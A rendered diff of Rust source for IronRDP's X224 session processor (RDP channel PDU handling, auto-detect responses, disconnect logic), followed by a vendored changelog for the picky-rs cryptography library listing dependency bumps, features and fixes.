use ironrdp_pdu::rdp::server_error_info::{ErrorInfo, ProtocolIndependentCode, ServerSetErrorInfoPdu};
|
||||||
|
use ironrdp_pdu::x224::X224;
|
||||||
|
use ironrdp_svc::{StaticChannelSet, SvcMessage, SvcProcessor, SvcProcessorMessages, client_encode_svc_messages};
|
||||||
|
use tracing::debug;
|
||||||
|
|
||||||
|
use crate::{SessionError, SessionErrorExt as _, SessionResult, reason_err};
|
||||||
|
|
||||||
|
/// X224 Processor output
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum ProcessorOutput {
|
||||||
|
/// A buffer with encoded data to send to the server.
|
||||||
|
ResponseFrame(Vec<u8>),
|
||||||
|
/// A graceful disconnect notification. Client should close the connection upon receiving this.
|
||||||
|
Disconnect(DisconnectDescription),
|
||||||
|
/// Received a [`ironrdp_pdu::rdp::headers::ServerDeactivateAll`] PDU. Client should execute the
|
||||||
|
/// [Deactivation-Reactivation Sequence].
|
||||||
|
///
|
||||||
|
/// [Deactivation-Reactivation Sequence]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/dfc234ce-481a-4674-9a5d-2a7bafb14432
|
||||||
|
DeactivateAll,
|
||||||
|
/// Server Initiate Multitransport Request. The application should establish a
|
||||||
|
/// sideband UDP transport using the request ID and security cookie, then send
|
||||||
|
/// a [`MultitransportResponsePdu`] back on the IO channel.
|
||||||
|
///
|
||||||
|
/// See [\[MS-RDPBCGR\] 2.2.15.1].
|
||||||
|
///
|
||||||
|
/// [\[MS-RDPBCGR\] 2.2.15.1]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/de783158-8b01-4818-8fb0-62523a5b3490
|
||||||
|
/// [`MultitransportResponsePdu`]: ironrdp_pdu::rdp::multitransport::MultitransportResponsePdu
|
||||||
|
MultitransportRequest(MultitransportRequestPdu),
|
||||||
|
/// Auto-detect network characteristics from server ([\[MS-RDPBCGR\] 2.2.14]).
|
||||||
|
///
|
||||||
|
/// Currently only surfaces [`AutoDetectRequest::NetworkCharacteristicsResult`].
|
||||||
|
/// RTT requests are handled internally with automatic responses.
|
||||||
|
///
|
||||||
|
/// [\[MS-RDPBCGR\] 2.2.14]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/dc672839-4f4e-40b1-a71c-cd6a959baa38
|
||||||
|
AutoDetect(AutoDetectRequest),
|
||||||
|
/// Slow-path graphics update ([MS-RDPBCGR] 2.2.9.1.1.3).
|
||||||
|
/// Raw update payload starting with `updateType(u16)`.
|
||||||
|
GraphicsUpdate(Vec<u8>),
|
||||||
|
/// Slow-path pointer update ([MS-RDPBCGR] 2.2.9.1.1.4).
|
||||||
|
/// Raw pointer payload starting with `messageType(u16) + pad(u16)`.
|
||||||
|
PointerUpdate(Vec<u8>),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum DisconnectDescription {
|
||||||
|
/// Includes the reason from the MCS Disconnect Provider Ultimatum.
|
||||||
|
/// This is the least-specific disconnect reason and is only used
|
||||||
|
/// when a more specific disconnect code is not available.
|
||||||
|
McsDisconnect(DisconnectReason),
|
||||||
|
|
||||||
|
/// Includes the error information sent by the RDP server when there
|
||||||
|
/// is a connection or disconnection failure.
|
||||||
|
ErrorInfo(ErrorInfo),
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct Processor {
|
||||||
|
static_channels: StaticChannelSet,
|
||||||
|
user_channel_id: u16,
|
||||||
|
io_channel_id: u16,
|
||||||
|
message_channel_id: Option<u16>,
|
||||||
|
share_id: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Processor {
|
||||||
|
pub fn new(
|
||||||
|
static_channels: StaticChannelSet,
|
||||||
|
user_channel_id: u16,
|
||||||
|
io_channel_id: u16,
|
||||||
|
message_channel_id: Option<u16>,
|
||||||
|
share_id: u32,
|
||||||
|
) -> Self {
|
||||||
|
Self {
|
||||||
|
static_channels,
|
||||||
|
user_channel_id,
|
||||||
|
io_channel_id,
|
||||||
|
message_channel_id,
|
||||||
|
share_id,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_share_id(&mut self, share_id: u32) {
|
||||||
|
self.share_id = share_id;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_svc_processor<T: SvcProcessor + 'static>(&self) -> Option<&T> {
|
||||||
|
self.static_channels
|
||||||
|
.get_by_type::<T>()
|
||||||
|
.and_then(|svc| svc.channel_processor_downcast_ref())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_svc_processor_mut<T: SvcProcessor + 'static>(&mut self) -> Option<&mut T> {
|
||||||
|
self.static_channels
|
||||||
|
.get_by_type_mut::<T>()
|
||||||
|
.and_then(|svc| svc.channel_processor_downcast_mut())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Completes user's SVC request with data, required to sent it over the network and returns
|
||||||
|
/// a buffer with encoded data.
|
||||||
|
pub fn process_svc_processor_messages<C: SvcProcessor + 'static>(
|
||||||
|
&self,
|
||||||
|
messages: SvcProcessorMessages<C>,
|
||||||
|
) -> SessionResult<Vec<u8>> {
|
||||||
|
let channel_id = self
|
||||||
|
.static_channels
|
||||||
|
.get_channel_id_by_type::<C>()
|
||||||
|
.ok_or_else(|| reason_err!("SVC", "channel not found"))?;
|
||||||
|
|
||||||
|
process_svc_messages(messages.into(), channel_id, self.user_channel_id)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_dvc<T: DvcProcessor + 'static>(&self) -> Option<&DynamicVirtualChannel> {
|
||||||
|
self.get_svc_processor::<DrdynvcClient>()?.get_dvc_by_type_id::<T>()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_dvc_by_channel_id(&self, channel_id: u32) -> Option<&DynamicVirtualChannel> {
|
||||||
|
self.get_svc_processor::<DrdynvcClient>()?
|
||||||
|
.get_dvc_by_channel_id(channel_id)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Processes a received PDU. Returns a vector of [`ProcessorOutput`] that must be processed
|
||||||
|
/// in the returned order.
|
||||||
|
pub fn process(&mut self, frame: &[u8]) -> SessionResult<Vec<ProcessorOutput>> {
|
||||||
|
let data_ctx: SendDataIndicationCtx<'_> =
|
||||||
|
ironrdp_pdu::mcs::decode_send_data_indication(frame).map_err(SessionError::decode)?;
|
||||||
|
let channel_id = data_ctx.channel_id;
|
||||||
|
|
||||||
|
if channel_id == self.io_channel_id {
|
||||||
|
self.process_io_channel(data_ctx)
|
||||||
|
} else if self.message_channel_id == Some(channel_id) {
|
||||||
|
self.process_message_channel(data_ctx)
|
||||||
|
} else if let Some(svc) = self.static_channels.get_by_channel_id_mut(channel_id) {
|
||||||
|
let response_pdus = svc.process(data_ctx.user_data).map_err(SessionError::pdu)?;
|
||||||
|
process_svc_messages(response_pdus, channel_id, data_ctx.initiator_id)
|
||||||
|
.map(|data| vec![ProcessorOutput::ResponseFrame(data)])
|
||||||
|
} else {
|
||||||
|
Err(reason_err!("X224", "unexpected channel received: ID {channel_id}"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_io_channel(&self, data_ctx: SendDataIndicationCtx<'_>) -> SessionResult<Vec<ProcessorOutput>> {
|
||||||
|
debug_assert_eq!(data_ctx.channel_id, self.io_channel_id);
|
||||||
|
|
||||||
|
let io_channel = ironrdp_pdu::rdp::headers::decode_io_channel(data_ctx).map_err(SessionError::decode)?;
|
||||||
|
|
||||||
|
match io_channel {
|
||||||
|
ironrdp_pdu::rdp::headers::IoChannelPdu::Data(ctx) => {
|
||||||
|
match ctx.pdu {
|
||||||
|
ShareDataPdu::SaveSessionInfo(session_info) => {
|
||||||
|
debug!("Got Session Save Info PDU: {session_info:?}");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
// FIXME: workaround fix to not terminate the session on "unhandled PDU: Set Keyboard Indicators PDU"
|
||||||
|
ShareDataPdu::SetKeyboardIndicators(data) => {
|
||||||
|
debug!("Got Keyboard Indicators PDU: {data:?}");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
ShareDataPdu::ServerSetErrorInfo(ServerSetErrorInfoPdu(ErrorInfo::ProtocolIndependentCode(
|
||||||
|
ProtocolIndependentCode::None,
|
||||||
|
))) => {
|
||||||
|
debug!("Received None server error");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
ShareDataPdu::ServerSetErrorInfo(ServerSetErrorInfoPdu(e)) => {
|
||||||
|
// This is a part of server-side graceful disconnect procedure defined
|
||||||
|
// in [MS-RDPBCGR].
|
||||||
|
//
|
||||||
|
// [MS-RDPBCGR]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/149070b0-ecec-4c20-af03-934bbc48adb8
|
||||||
|
let desc = DisconnectDescription::ErrorInfo(e);
|
||||||
|
Ok(vec![ProcessorOutput::Disconnect(desc)])
|
||||||
|
}
|
||||||
|
ShareDataPdu::ShutdownDenied => {
|
||||||
|
debug!("ShutdownDenied received, session will be closed");
|
||||||
|
|
||||||
|
// As defined in [MS-RDPBCGR], when `ShareDataPdu::ShutdownDenied` is received, we
|
||||||
|
// need to send a disconnect ultimatum to the server if we want to proceed with the
|
||||||
|
// session shutdown.
|
||||||
|
//
|
||||||
|
// [MS-RDPBCGR]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/27915739-8f77-487e-9927-55008af7fd68
|
||||||
|
let ultimatum = McsMessage::DisconnectProviderUltimatum(
|
||||||
|
DisconnectProviderUltimatum::from_reason(DisconnectReason::UserRequested),
|
||||||
|
);
|
||||||
|
|
||||||
|
let encoded_pdu = ironrdp_core::encode_vec(&X224(ultimatum)).map_err(SessionError::encode);
|
||||||
|
|
||||||
|
Ok(vec![
|
||||||
|
ProcessorOutput::ResponseFrame(encoded_pdu?),
|
||||||
|
ProcessorOutput::Disconnect(DisconnectDescription::McsDisconnect(
|
||||||
|
DisconnectReason::UserRequested,
|
||||||
|
)),
|
||||||
|
])
|
||||||
|
}
|
||||||
|
// TODO: slow-path payloads may be bulk-compressed when
|
||||||
|
// ClientInfoFlags::COMPRESSION is negotiated. Decompression
|
||||||
|
// should happen here before passing data downstream. Currently
|
||||||
|
// IronRDP does not wire bulk decompression into this path.
|
||||||
|
// FIXME: until this is wired, the client deliberately defaults to the simple,
|
||||||
|
// stateless-friendly MPPC 64K (RDP5) compression level rather than XCRUSH; a
|
||||||
|
// stateful codec would risk silent corruption on slow-path updates.
|
||||||
|
ShareDataPdu::Update(data) => {
|
||||||
|
debug!("Got slow-path graphics update ({} bytes)", data.len());
|
||||||
|
Ok(vec![ProcessorOutput::GraphicsUpdate(data)])
|
||||||
|
}
|
||||||
|
ShareDataPdu::Pointer(data) => {
|
||||||
|
debug!("Got slow-path pointer update ({} bytes)", data.len());
|
||||||
|
Ok(vec![ProcessorOutput::PointerUpdate(data)])
|
||||||
|
}
|
||||||
|
_ => Err(reason_err!(
|
||||||
|
"IO channel",
|
||||||
|
"unhandled PDU: {:?}",
|
||||||
|
ctx.pdu.as_short_name()
|
||||||
|
)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ironrdp_pdu::rdp::headers::IoChannelPdu::MultitransportRequest(pdu) => {
|
||||||
|
debug!(
|
||||||
|
"Received Initiate Multitransport Request: request_id={}",
|
||||||
|
pdu.request_id
|
||||||
|
);
|
||||||
|
Ok(vec![ProcessorOutput::MultitransportRequest(pdu)])
|
||||||
|
}
|
||||||
|
ironrdp_pdu::rdp::headers::IoChannelPdu::DeactivateAll(_) => Ok(vec![ProcessorOutput::DeactivateAll]),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process an auto-detect request received on the MCS message channel.
|
||||||
|
///
|
||||||
|
/// During continuous auto-detection ([MS-RDPBCGR] 2.2.14) the server sends
|
||||||
|
/// RTT (and bandwidth) requests on the message channel; the client answers
|
||||||
|
/// RTT requests and surfaces the final Network Characteristics Result.
|
||||||
|
fn process_message_channel(&self, data_ctx: SendDataIndicationCtx<'_>) -> SessionResult<Vec<ProcessorOutput>> {
|
||||||
|
let Some(message_channel_id) = self.message_channel_id else {
|
||||||
|
return Err(reason_err!("message channel", "no message channel negotiated"));
|
||||||
|
};
|
||||||
|
|
||||||
|
let req = decode::<AutoDetectReqPdu>(data_ctx.user_data).map_err(SessionError::decode)?;
|
||||||
|
|
||||||
|
match req.request {
|
||||||
|
AutoDetectRequest::RttRequest { sequence_number, .. } => {
|
||||||
|
let response = AutoDetectRspPdu::new(AutoDetectResponse::RttResponse { sequence_number });
|
||||||
|
let mut frame = WriteBuf::new();
|
||||||
|
ironrdp_pdu::mcs::encode_send_data_request(
|
||||||
|
self.user_channel_id,
|
||||||
|
message_channel_id,
|
||||||
|
&response,
|
||||||
|
&mut frame,
|
||||||
|
)
|
||||||
|
.map_err(SessionError::encode)?;
|
||||||
|
debug!(sequence_number, "Responded to auto-detect RTT request");
|
||||||
|
Ok(vec![ProcessorOutput::ResponseFrame(frame.into_inner())])
|
||||||
|
}
|
||||||
|
req @ AutoDetectRequest::NetworkCharacteristicsResult { .. } => {
|
||||||
|
debug!(?req, "Received network characteristics from server");
|
||||||
|
Ok(vec![ProcessorOutput::AutoDetect(req)])
|
||||||
|
}
|
||||||
|
req => {
|
||||||
|
debug!(?req, "Auto-detect request not yet implemented");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Send a pdu on the static global channel. Typically used to send input events
|
||||||
|
pub fn encode_static(&self, output: &mut WriteBuf, pdu: ShareDataPdu) -> SessionResult<usize> {
|
||||||
|
let written = ironrdp_pdu::rdp::headers::encode_share_data(
|
||||||
|
self.user_channel_id,
|
||||||
|
self.io_channel_id,
|
||||||
|
self.share_id,
|
||||||
|
pdu,
|
||||||
|
output,
|
||||||
|
)
|
||||||
|
.map_err(SessionError::encode)?;
|
||||||
|
Ok(written)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Processes a vector of [`SvcMessage`] in preparation for sending them to the server on the `channel_id` channel.
|
||||||
|
///
|
||||||
|
/// This includes chunkifying the messages, adding MCS, x224, and tpkt headers, and encoding them into a buffer.
|
||||||
|
/// The messages returned here are ready to be sent to the server.
|
||||||
|
///
|
||||||
|
/// The caller is responsible for ensuring that the `channel_id` corresponds to the correct channel.
|
||||||
|
fn process_svc_messages(messages: Vec<SvcMessage>, channel_id: u16, initiator_id: u16) -> SessionResult<Vec<u8>> {
|
||||||
|
client_encode_svc_messages(messages, channel_id, initiator_id).map_err(SessionError::encode)
|
||||||
|
}
|
||||||
Vendored
+380
@@ -0,0 +1,380 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
|
||||||
|
## [[7.0.0-rc.25](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.24...picky-v7.0.0-rc.25)] - 2026-06-26
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Align RustCrypto ECC dependency versions and remove unnecessary transitive pins ([#506](https://github.com/Devolutions/picky-rs/issues/506)) ([a4346f2853](https://github.com/Devolutions/picky-rs/commit/a4346f2853e726eb05b1fb5de2fa9351c8c44e2e))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## [[7.0.0-rc.24](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.23...picky-v7.0.0-rc.24)] - 2026-06-19
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Bump sha3 from 0.11.0 to 0.12.0 ([#495](https://github.com/Devolutions/picky-rs/issues/495)) ([0b065a59fb](https://github.com/Devolutions/picky-rs/commit/0b065a59fb1e65c354084016166a7822ab10f7bf))
|
||||||
|
|
||||||
|
- Advance RustCrypto pins to the current rc.18/rc.33/rc.10 cluster ([#501](https://github.com/Devolutions/picky-rs/issues/501)) ([7d4b2675b9](https://github.com/Devolutions/picky-rs/commit/7d4b2675b91f7803905d972501130fc09d42ce1c))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.23](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.22...picky-v7.0.0-rc.23)] - 2026-04-21
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Upgrade RustCrypto dependencies ([#476](https://github.com/Devolutions/picky-rs/issues/476)) ([8ce838e347](https://github.com/Devolutions/picky-rs/commit/8ce838e3470ac605c912f61dc67c1c6d388b140d))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.22](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.21...picky-v7.0.0-rc.22)] - 2026-02-27
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Bump `sha1` to v0.11.0-rc.3 ([#463](https://github.com/Devolutions/picky-rs/issues/463)) ([e40aee72bd](https://github.com/Devolutions/picky-rs/commit/e40aee72bd248bda84e6fe9e84a648784a6374ed))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.21](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.20...picky-v7.0.0-rc.21)] - 2026-02-02
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Update crypto dependencies ([#448](https://github.com/Devolutions/picky-rs/issues/448)) ([0bf42c1c4b](https://github.com/Devolutions/picky-rs/commit/0bf42c1c4bd727eaf5b4b0a877e8698986e0bd37))
|
||||||
|
|
||||||
|
- Remove transitive pem-rfc7468 crate ([#449](https://github.com/Devolutions/picky-rs/issues/449)) ([cc4caf455d](https://github.com/Devolutions/picky-rs/commit/cc4caf455defd38ef37fc15434b173275937d534))
|
||||||
|
|
||||||
|
- Bump reqwest from 0.12.24 to 0.13.1 ([#453](https://github.com/Devolutions/picky-rs/issues/453)) ([9cbaab9395](https://github.com/Devolutions/picky-rs/commit/9cbaab93955f2fef8f96a589b22e2582d4a8cbf0))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.20](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.19...picky-v7.0.0-rc.20)] - 2025-11-07
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Pin leftover pre-release crypto crates ([#430](https://github.com/Devolutions/picky-rs/issues/430)) ([0fe43dae7b](https://github.com/Devolutions/picky-rs/commit/0fe43dae7b463a16d48b00b08ca6ce21a013af74))
|
||||||
|
|
||||||
|
The patch version upgrade is not allowed to bring breaking changes, but
|
||||||
|
this rule doesn't work for an `rc` version. So we should pin the `rc`
|
||||||
|
versions, to not allow _cargo_ update to a new `rc` automatically.
|
||||||
|
|
||||||
|
## [[7.0.0-rc.19](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.18...picky-v7.0.0-rc.19)] - 2025-10-10
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- Support parsing certs with MLDSA public keys ([#411](https://github.com/Devolutions/picky-rs/issues/411)) ([abc63dde88](https://github.com/Devolutions/picky-rs/commit/abc63dde88360e35ef225cfd1c279958f47c3abc))
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Pin RustCrypto release candidate crates ([#417](https://github.com/Devolutions/picky-rs/issues/417)) ([8a79282bbc](https://github.com/Devolutions/picky-rs/commit/8a79282bbc0dae9df222f16d261b7dd1f03cd66f))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.18](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.17...picky-v7.0.0-rc.18)] - 2025-09-26
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Bump the crypto group across 1 directory with 3 updates (#388) ([58d179a0c3](https://github.com/Devolutions/picky-rs/commit/58d179a0c39d701025a363c3f294912c2881a8f5))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.17](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.16...picky-v7.0.0-rc.17)] - 2025-08-18
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Bump rstest from 0.25.0 to 0.26.1 (#391) ([2a169deba2](https://github.com/Devolutions/picky-rs/commit/2a169deba2ba177685d58550f4214f59f25ebec0))
|
||||||
|
|
||||||
|
## [[7.0.0-rc.16](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.15...picky-v7.0.0-rc.16)] - 2025-07-15
|
||||||
|
|
||||||
|
### <!-- 0 -->Security
|
||||||
|
|
||||||
|
- Reject issuer certificates missing basic constraints (#385) ([4d8be23912](https://github.com/Devolutions/picky-rs/commit/4d8be239126cd34843a74de017118823699b8aa7))
|
||||||
|
|
||||||
|
As per RFC 5280:
|
||||||
|
|
||||||
|
> The cA boolean indicates whether the certified public key may be used
|
||||||
|
> to verify certificate signatures. If the cA boolean is not asserted,
|
||||||
|
> then the keyCertSign bit in the key usage extension MUST NOT be
|
||||||
|
> asserted. If the basic constraints extension is not present in a
|
||||||
|
> version 3 certificate, or the extension is present but the cA boolean
|
||||||
|
> is not asserted, then the certified public key MUST NOT be used to
|
||||||
|
> verify certificate signatures.
|
||||||
|
|
||||||
|
## [[7.0.0-rc.15](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.14...picky-v7.0.0-rc.15)] - 2025-06-24
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Bump MSVC to 1.85 (#379) ([302df9912d](https://github.com/Devolutions/picky-rs/commit/302df9912d6f038f21b64fc916bd82836944c382))
|
||||||
|
|
||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
|
||||||
|
## [[7.0.0-rc.14](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.13...picky-v7.0.0-rc.14)] - 2025-05-14
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- Add HttpSignature::to_signing_string() method ([fe054c47f0](https://github.com/Devolutions/picky-rs/commit/fe054c47f04920383d93371bda948a961cbefdfd))
|
||||||
|
|
||||||
|
Equivalent to HttpSignature::to_string().
|
||||||
|
|
||||||
|
## [[7.0.0-rc.13](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.12...picky-v7.0.0-rc.13)] - 2025-03-03
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- [**breaking**] Comply with draft-cavage-http-signatures-12 when signing HTTP messages (#351) ([f043d04e14](https://github.com/Devolutions/picky-rs/commit/f043d04e1462cf0eddd9140f22a4d364cb3ad9cd))
|
||||||
|
|
||||||
|
Change request target handling to comply with draft-cavage-http-signatures-12 when signing HTTP messages.
|
||||||
|
|
||||||
|
## [[7.0.0-rc.12](https://github.com/Devolutions/picky-rs/compare/picky-v7.0.0-rc.11...picky-v7.0.0-rc.12)] - 2025-01-16
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Symlinks to license files in packages (#339) ([1834c04f39](https://github.com/Devolutions/picky-rs/commit/1834c04f3930fb1bbf040deb6525b166e378b8aa))
|
||||||
|
|
||||||
|
Use symlinks instead of copying files to avoid a “dirty” state during
|
||||||
|
cargo publish and preserve VCS info. With #337 merged, CI handles
|
||||||
|
publishing consistently, so developer environments no longer matter.
|
||||||
|
|
||||||
|
|
||||||
|
## [7.0.0-rc.1 to 7.0.0-rc.11](https://github.com/Devolutions/picky-rs/compare/picky-6.4.0...picky-v7.0.0-rc.11)
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- Support for ECDSA p256 p384 and p521 signatures
|
||||||
|
- Support for MD5 hashing
|
||||||
|
- CTL implementation behind `ctl` feature
|
||||||
|
- CTL fetching over HTTP is behind `ctl_http_fetch` feature
|
||||||
|
- `Pkcs7::digest_algorithms`
|
||||||
|
- `Pkcs7::signer_infos`
|
||||||
|
- `Pkcs7::encapsulated_content_info`
|
||||||
|
- `Pkcs7::decode_certificates`
|
||||||
|
- `impl From<Pkcs7Certificate> for Pkcs7`
|
||||||
|
- `impl From<Pkcs7> for Pkcs7Certificate`
|
||||||
|
- `AuthenticodeSignature` struct
|
||||||
|
- `AuthenticodeSignature::new`
|
||||||
|
- `AuthenticodeSignature::from_der`
|
||||||
|
- `AuthenticodeSignature::from_pem`
|
||||||
|
- `AuthenticodeSignature::from_pem_str`
|
||||||
|
- `AuthenticodeSignature::to_der`
|
||||||
|
- `AuthenticodeSignature::to_pem`
|
||||||
|
- `AuthenticodeSignature::signing_certificate`
|
||||||
|
- `AuthenticodeSignature::authenticode_verifier`
|
||||||
|
- `AuthenticodeSignature::file_hash`
|
||||||
|
- `Authenticated_attributes::authenticated_attributes`
|
||||||
|
- `Authenticated_attributes::unauthenticated_attributes`
|
||||||
|
- `impl From<Pkcs7> for AuthenticodeSignature`
|
||||||
|
- `From<AuthenticodeSignature> for Pkcs7`
|
||||||
|
- Authenticode validation
|
||||||
|
- Support for `AuthenticodeSignature` timestamping:
|
||||||
|
- Method `timestamp` to `AuthenticodeSignature`
|
||||||
|
- `Timestamper` trait.
|
||||||
|
- Timestamping implementation using reqwest is behind `http_timestamp` feature
|
||||||
|
- Authenticode timestamp request struct - `TimestampRequest`
|
||||||
|
- `AuthenticodeBuilder` for easier `AuthenticodeSignature` creation
|
||||||
|
- `SignatureAlgorithm::hash_algorithm`
|
||||||
|
- Support for `time 0.3` types conversions behind `time_conversion` feature gate
|
||||||
|
- `PrivateKey::to_pem_str`
|
||||||
|
- `PrivateKey::from_ec_components`
|
||||||
|
- `PrivateKey::from_ec_der_with_curve`
|
||||||
|
- `PrivateKey::from_ec_der_with_curve_oid`
|
||||||
|
- `PrivateKey::generate_ec`
|
||||||
|
- `PrivateKey::generate_ed`
|
||||||
|
- `PrivateKey::from_ec_encoded_components`
|
||||||
|
- `PrivateKey::from_ed_encoded_components`
|
||||||
|
- `PublicKey::to_pem_str`
|
||||||
|
- Support SSH keys and certificates
|
||||||
|
- `CheckedJwtEnc::new_with_cty`
|
||||||
|
- `CheckedJwtSig::new_with_cty`
|
||||||
|
- Support for JWT additional header parameters
|
||||||
|
- Support for EC private/public keys
|
||||||
|
- JWS and JWK EC curves support
|
||||||
|
- EC curves support for SSH keys and certificates
|
||||||
|
- EC x509 certificates verification/signing
|
||||||
|
- `JwkKeyType::new_ec_key`
|
||||||
|
- `JwkKeyType::new_ed_key`
|
||||||
|
- `JwkKeyType::as_ec`
|
||||||
|
- `JwkKeyType::as_ed`
|
||||||
|
- `JwkKeyType::is_ec`
|
||||||
|
- `JwkKeyType::is_ed`
|
||||||
|
- `SshPrivateKey::generate_ec`
|
||||||
|
- `SshPrivateKey::generate_ed`
|
||||||
|
- `JwkEcPublicKeyCurve` enum
|
||||||
|
- `JwkEdPublicKeyAlgorithm` enum
|
||||||
|
- `JwsAlg::EdDSA` variant
|
||||||
|
- `JwsAlg::ED25519` variant (`#[deprecated]` from the start, just for compatibility with other libs)
|
||||||
|
- Support for X25519 and Ed25519 public/private keys
|
||||||
|
- JWS and JWK Ed25519 keys/signing support
|
||||||
|
- Ed25519 support for SSH keys and certificates
|
||||||
|
- Ed25519 x509 certificates verification/signing
|
||||||
|
- Support for `ECDH-ES` JWE algorithm (P256, P384 and P521 EC keys, X25519 ED keys)
|
||||||
|
- Support for `PKCS12`(PFX) files parsing/building
|
||||||
|
- PuTTY PPK key format support
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Bump minimal rustc version to 1.70
|
||||||
|
- Updated `p256`/`p384` to latest version
|
||||||
|
- (Breaking) Move Authenticode related code from `picky::x509::wincert` to `picky::x509::pkcs7::authenticode` module
|
||||||
|
- (Breaking) Authenticode implementation is now behind `pkcs7` feature
|
||||||
|
- (Breaking) `PrivateKey::to_pem` and `PublicKey::to_pem` now return a `Pem`
|
||||||
|
- (Breaking) Separate JWT validation from decoding in JOSE API (this makes API more convenient to first process header
|
||||||
|
and then decide what kind of validation should be applied, or what claims type to deserialize into)
|
||||||
|
- (Breaking) `PrivateKey` now have private struct representation instead of open enum
|
||||||
|
- (Breaking) Now all `PrivateKey::to_public` and all related APIs for private keys return `Result`
|
||||||
|
instead of plain `PublicKey`. This change was required because added support for EC/ED keys is not
|
||||||
|
infallible in regard to public key extraction (public key could be missing from the file and could
|
||||||
|
not be generated because of an unsupported algorithm/curve)
|
||||||
|
- "picky-test-data" is a new dev-dependency.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
|
||||||
|
- (Breaking) `ec` non-default cargo feature (EC operations now enabled by default)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- `BufReader` panic in `WinCertificate::decode` and `WinCertificate::encode` if data len is bigger than default capacity.
|
||||||
|
- `WinCertificate` encoding: `length` wasn’t correct.
|
||||||
|
- Leading zeros in JWK encoding.
|
||||||
|
|
||||||
|
JWK encoding of a value is the unsigned big-endian representation as an octet sequence.
|
||||||
|
The octet sequence MUST utilize the minimum number of octets needed to represent the value.
|
||||||
|
That is: **no leading zero** must be present.
|
||||||
|
|
